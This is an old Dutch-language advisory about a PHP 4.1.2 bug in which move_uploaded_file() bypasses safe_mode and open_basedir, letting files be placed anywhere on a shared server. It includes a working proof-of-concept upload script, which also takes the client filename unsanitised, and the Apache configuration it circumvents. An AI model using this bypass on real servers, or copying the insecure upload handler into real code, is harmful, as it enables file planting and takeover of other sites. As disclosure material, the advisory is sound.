View text
| Info | |
|---|---|
| Author | BasTijs |
| Date added | 2002-09-05 |
| Last modified | 2002-09-05 |
PHP: move_uploaded_file exploit
---------------------------------------------------
---------------------------------------------------
Gevonden door: BasTijs, bastijs@net-force.nl
Getest door: Tozz, tozz@embrace.selwerd.nl
Getest op: http://root.net-force.nl
Exploit: move_uploaded_file breaks safe_mode and open_basedir restrictions
PHP Versie: 4.1.2
Datum : 17 Maart 2002
Bug report: http://bugs.php.net/bug.php?id=16128
---------------------------------------------------
---------------------------------------------------
Doormiddel van een upload script + gebruik van de
move_uploaded_file() functie is het mogelijk om
over de gehele server bestanden te plaatsen. De
safe_mode en open_basedir restrictions worden
hierbij niet juist gecheck waardoor de restricties
niet werken.
Upload.php:
<?
$file = $HTTP_POST_FILES['file']['name'];
$type = $HTTP_POST_FILES['file']['type'];
$size = $HTTP_POST_FILES['file']['size'];
$temp = $HTTP_POST_FILES['file']['tmp_name'];
$size_limit = "100000"; // set size limit in bytes
if ($file){
if ($size < $size_limit){
move_uploaded_file($temp, "/domains/killanet.org/public_html/www/test/".$file);
echo "The file <tt>$file</tt> was sucessfully uploaded";
}else{
echo "Sorry, your file exceeds the size limit of $size_limit bytes";
}
}
echo "
<form enctype='multipart/form-data' action=$PHP_SELF method=post>
Upload a file: <input name='file' type='file'>
<input type='submit' value='Upload'>
</form>
";
?>
Hierbij wordt een bestand verplaatst naar de volgende map:
"/domains/killanet.org/public_html/www/test/"
Dit zou niet mogelijk moeten zijn ivm met open_basedir
en safe_mode restricties:
<VirtualHost 213.206.77.232>
DocumentRoot /domains/net-force.nl/public_html/root/
ServerName root.net-force.nl
CustomLog /domains/net-force.nl/logs/access_log combined
ErrorLog /domains/net-force.nl/logs/error_log
php_admin_value safe_mode 1
php_admin_value open_basedir /domains/net
force.nl/public_html/root/
</VirtualHost>
---------------------------------------------------
---------------------------------------------------